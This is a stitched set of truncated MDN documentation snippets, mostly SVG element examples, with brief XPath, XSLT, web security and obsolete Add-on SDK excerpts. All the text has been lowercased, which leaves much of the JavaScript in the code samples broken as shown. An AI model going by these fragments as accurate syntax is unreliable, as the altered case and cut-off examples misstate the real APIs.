only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" ...
... scale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
z - SVG: Scalable Vector Graphics
WebSVGAttributez
two elements are using this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50"...
... /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fepointlight for <fepointlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using...
... my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitted contentany number of the following...
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/f...
...iles/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
<feDisplacementMap> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style...
...="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
<feDropShadow> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="shadow"> <fedropshadow dx="0.2" dy="0.4" stddeviation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stddeviation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(...
...#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:url(#shadow3);"/> </svg> attributes dx this attribute defines the x offset of the drop shadow.
<feGaussianBlur> - SVG: Scalable Vector Graphics
example simple example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="blurme"> <fegaussianblur in="sourcegraphic" stddeviation="5" /> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample drop shadow example svg <svg wi...
...dth="120" height="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="dropshadow"> <fegaussianblur in="sourcealpha" stddeviation="3" /> <feoffset dx="2" dy="4" /> <femerge> <femergenode /> <femergenode in="sourcegraphic" /> </femerge> </filter> <circle cx="60" cy="60" r="50" fill="green" filter="url(#dropshadow)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fegaussianblur>' in that specification.
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #...
...000000; fill: green; filter: url(#feoffset);" /> </svg> result attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes none dom interface this element implements the svgfemergeelement interface.
<feMergeNode> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> ...
... <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green;" /> </svg> result attributes global attributes core attributes » specific attributes in dom interface this element implements the svgfemergenodeelement interface.
<feMorphology> - SVG: Scalable Vector Graphics
examples filtering svg content svg <svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetic...
...a, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> </svg> <p>normal text</p> <p id="thin">thinned text</p> <p id="thick">fattened text</p> css p { margin: 0; font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } specifications specification status comment filter effects module level 1the definition of '<femorphology>' in that specification.
<fePointLight> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="80" lighting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="a...
...rithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
<feSpecularLighting> - SVG: Scalable Vector Graphics
example <svg height="200" width="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id = "filter"> <fespecularlighting result="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circ...
...le cx="110" cy="110" r="100" style="filter:url(#filter)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespecularlighting>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
example html content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in...
...2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80...
...%" style="filter:url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
<feTurbulence> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style...
...="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!-- example copied from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alph...
...abetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker>...
... </defs> <!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport.
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
the <pattern> element defines a graphics object which can be redrawn at repeated x- and y-coordinate intervals ("tiled") to cover an area.
... html,body,svg { height:100% } <svg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile.
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
... value type: <number>+ ; default value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units.
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; defa...
...ult value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.quer...
...yselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element.
<switch> - SVG: Scalable Vector Graphics
WebSVGElementswitch
html content <svg viewbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text systemlanguage="en-us">howdy!</text> <text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bo...
...njour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
html,body,svg { height:100% } <svg viewbox="0 0 80 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- our symbol in its own coordinate system --> <symbol id="mydot" width="10" height="10" viewbox="0 0 2 2"> <circle cx="1" cy="1" r="1" /> </symbol> <!-- a grid to materialize our symbol positioning --> <path d="m0,10 h80 m10,0 v20 m25,0 v20 m40,0 v20 m55,0 v20 m70,0 v20" fill="none" s...
...troke="pink" /> <!-- all instances of our symbol --> <use xlink:href="#mydot" x="5" y="5" style="opacity:1.0" /> <use xlink:href="#mydot" x="20" y="5" style="opacity:0.8" /> <use xlink:href="#mydot" x="35" y="5" style="opacity:0.6" /> <use xlink:href="#mydot" x="50" y="5" style="opacity:0.4" /> <use xlink:href="#mydot" x="65" y="5" style="opacity:0.2" /> </svg> attributes height this attribute determines the height of the symbol.
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
html,body,svg { height:100% } <svg viewbox="0 0 240 80" xmlns="http://www.w3.org/2000/svg"> <style> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } /* note that the color of the text is set with the * * fill property, the color property is for html only */ .rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" c...
...lass="heavy">cat</text> <text x="55" y="55" class="small">is</text> <text x="65" y="55" class="rrrrr">grumpy!</text> </svg> attributes x the x coordinate of the starting point of the text baseline.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> ...
...</text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <view id="halfsizeview" viewbox...
...="0 0 1200 400"/> <view id="normalsizeview" viewbox="0 0 600 200"/> <view id="doublesizeview" viewbox="0 0 300 100"/> <a xlink:href="#halfsizeview"> <text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsizeview"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesizeview"> <text x="5" y="60" font-size="20">double size</text> </a> </svg> result dom interface this element implements the svgviewelement interface.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
... to get around this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
Introduction - SVG: Scalable Vector Graphics
flavors of svg since becoming a recommendation in 2003, the most recent "full" svg version is 1.1.
..."full" svg 1.2 was meant to be the next major release of svg.
SVG Filters Tutorial - SVG: Scalable Vector Graphics
svg filter example <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3"/> </filter> </defs> <g id="ghost" style="filter: url(#drop-shadow);"/> <!--ghost drawing in here--> </g> this above example will not produced the desired output.
...<femerge> primitive contains the nodes <femergenode> taking as input the result offsetblur , this will allow it to appear below the sourcegraphic implementation of more primitives <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> </filter> <femerge> <femergenode in="offsetblur"/> <femergenode in="sourcegraphic"/> </femerge> </defs> ...
How to fix a website with blocked mixed content - Web security
in any case, the best way to know if something is broken in firefox is to download the latest firefox edition, open different pages on your website with the web console open (enable the "security" messages) and see if anything related to mixed content is reported.
... often, the https version of the content already exists and this just requires adding an "s" to links - http:// to https://.
Subdomain takeovers - Web security
(for "blog", you can substitute "e-commerce platform", "customer service platform", or any other "cloud-based" virtual hosting scenario.) the process you go through might look like this: you register the name "blog.example.com" with a domain registrar.
... if you discover that a subdomain of your domain has been taken over, the first step, if possible, is to "cut power" by removing the dns entry for the subdomain.
Tutorials
html challenges use these challenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful markup.
... javascript tutorials introductory level javascript first steps in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript.
Using shadow DOM - Web Components
as an example, consider the following html fragment: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> this...
...ed elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); using our custom element once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in using custom elements: // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> internal versus external styles in the above example we apply style to the shadow dom using a <style> element, but it is perfectly possible to do it by referencing an external st...
Web Components
shadow dom: a set of javascript apis for attaching an encapsulated "shadow" dom tree to an element — which is rendered separately from the main document dom — and controlling associated functionality.
... the "is" option of the document.createelement() method: allows you to create an instance of a standard html element that behaves like a given registered custom built-in element.
position - XPath
<xsl:template match="//a[position() = 5]"> <!-- this template matches the fifth a element anywhere in the document.
... --> </xsl:template> <xsl:template match="//div[@class='foo']/bar[position() = 1]"> <!-- this template matches the first bar element that is a child of a div element with a class attribute equal to "foo" --> </xsl:template> defined xpath 1.0 4.1 gecko support supported.
translate - XPath
example <xsl:value-of select="translate('the quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'abcdefghijklmnopqrstuvwxyz')" /> output the quick brown fox.
... example <xsl:value-of select="translate('the quick brown fox.', 'brown', 'red')" /> output the quick red fdx.
<xsl:decimal-format> - XSLT: Extensible Stylesheet Language Transformations
the default is the string "infinity".
...the default is the string "nan".
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform".
... syntax <xsl:stylesheet version="number" xmlns:xsl="http://www.w3.org/1999/xsl/transform" id="name" extension-element-prefixes="list-of-names" exclude-result-prefixes="list-of-names"> entire stylesheet </xsl:stylesheet> required attributes version specifies the version of xslt required by this stylesheet.
Navigator.mozNotification - Archive of obsolete content
permissions when using notifications in an open web app, be sure to add the desktop-notification permission in your manifest file: "permissions": { "desktop-notification": {} } usage notes in firefox 22+, the instantiation of a new notification should be done with the notification object by calling new notification(title, options).
Builder - Archive of obsolete content
it was retired on april 1, 2014, and the "builder.addons.mozilla.org" domain now redirects to this page.
SDK API Lifecycle - Archive of obsolete content
deprecation process deprecation in the chosen release, the sdk team will communicate the module's deprecation: update the module's stability index to be "deprecated" include a deprecation notice in the release notes, the add-ons blog, and the jetpack google group.
High-Level APIs - Archive of obsolete content
unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible changes to them.
chrome - Archive of obsolete content
this module should not be confused with the "chrome" global variable that webextensions can use to access apis.
core/heritage - Archive of obsolete content
var { mix } = require('sdk/core/heritage'); var object = mix({ a: 1, b: 1 }, { b: 2 }, { c: 3 }); json.stringify(object) // => { "a": 1, "b": 2, "c": 3 } obscure module exports obscure utility function that is useful for defining non-enumerable properties.
event/target - Archive of obsolete content
const { eventtarget } = require("sdk/event/target"); let target = eventtarget(); for a convenience though optional options arguments may be used, in which case all the function properties with keys like: onmessage, onmyevent...
frame/hidden-frame - Archive of obsolete content
the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() { this.element.contentwindow.location = "http://www.mozilla.org/"; let self = this; this.element.addeventlistener("domcontentloaded", function() { console.log(self.element.contentdocument.title); }, true, true); } })); see the panel module for a real-world example ...
io/byte-streams - Archive of obsolete content
function readbinarydatafromfile (filename) { var fileio = require("sdk/io/file"); var data = null; if (fileio.exists(filename)) { var bytereader = fileio.open(filename, "rb"); if (!bytereader.closed) { data = bytereader.read(); bytereader.close(); } } return data; } function writebinarydatatofile(data, filename) { var fileio = require("sdk/io/file"); var bytewriter = fileio.open(filename, "wb"); if (!bytewriter.closed) { bytewriter.write(data); bytewriter.close(); } } globals constructors bytereader(inputstream) creates a binary input stream that reads bytes from a backing stream.
loader/sandbox - Archive of obsolete content
usage create a sandbox to create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://example.com'); the argument passed to the sandbox defines its privileges.
system/events - Archive of obsolete content
var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type.
util/collection - Archive of obsolete content
var collection = require("sdk/util/collection"); var c = new collection.collection(); c.add(1); c.add(2); c.add(3); for (item in c) console.log(item); ...
util/list - Archive of obsolete content
examples: var { list } = require("sdk/util/list"); var mylist = list.compose({ add: function add(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._add.bind(this)); }, remove: function remove(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._remove.bind(this)); } }); mylist('foo', 'bar', 'baz').length == 3; // true new mylist('new', 'keyword').length == 2; // true mylis...
util/uuid - Archive of obsolete content
parameters stringid : string string representation of a uuid, such as: "8cbc9bf4-4a16-11e2-aef7-c1a56188709b" optional.
Low-Level APIs - Archive of obsolete content
in many cases these modules have simpler, more restricted analogs among the "high-level apis" (for example, windows or request).
Canvas code snippets - Archive of obsolete content
if you try running the code as a plain webpage, you will get a 'security error" code: "1000' error.
Examples and demos from articles - Archive of obsolete content
in this demo there is also an example of a "toggle button" rendered through a <label> element.
LookupNamespaceURI - Archive of obsolete content
lgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri; } if (node.attributes.length) { for (i = 0; i < node.attributes.length; i++) { att = node.attributes[i]; if (xmlnspattern.test(att.name) && xmlnspattern.exec(att.name)[1] === prefix) { ...
Running applications - Archive of obsolete content
var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); file.initwithpath("c:\\myapp.exe"); file.launch(); references nsiprocess nsilocalfile if you need to launch an executable bundled in your xpi, see code snippets:file i/o#getting your extension's folder.
Scrollbar - Archive of obsolete content
example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Delayed Execution - Archive of obsolete content
some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcallback"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped.
Toolbar - Archive of obsolete content
= document.getelementbyid(toolbarid); // if no afterid is given, then append the item to the toolbar var before = null; if (afterid) { let elem = document.getelementbyid(afterid); if (elem && elem.parentnode == toolbar) before = elem.nextelementsibling; } toolbar.insertitem(id, before); toolbar.setattribute("currentset", toolbar.currentset); document.persist(toolbar.id, "currentset"); if (toolbarid == "addon-bar") toolbar.collapsed = false; } } if (firstrun) { installbutton("nav-bar", "my-extension-navbar-button"); // the "addon-bar" is available since firefox 4 installbutton("addon-bar", "my-extension-addon-bar-button"); } ...
URI parsing - Archive of obsolete content
so, here's some sample code to determine the base domain without any suffixes: var etldservice = components.classes["@mozilla.org/network/effective-tld-service;1"].
Common Pitfalls - Archive of obsolete content
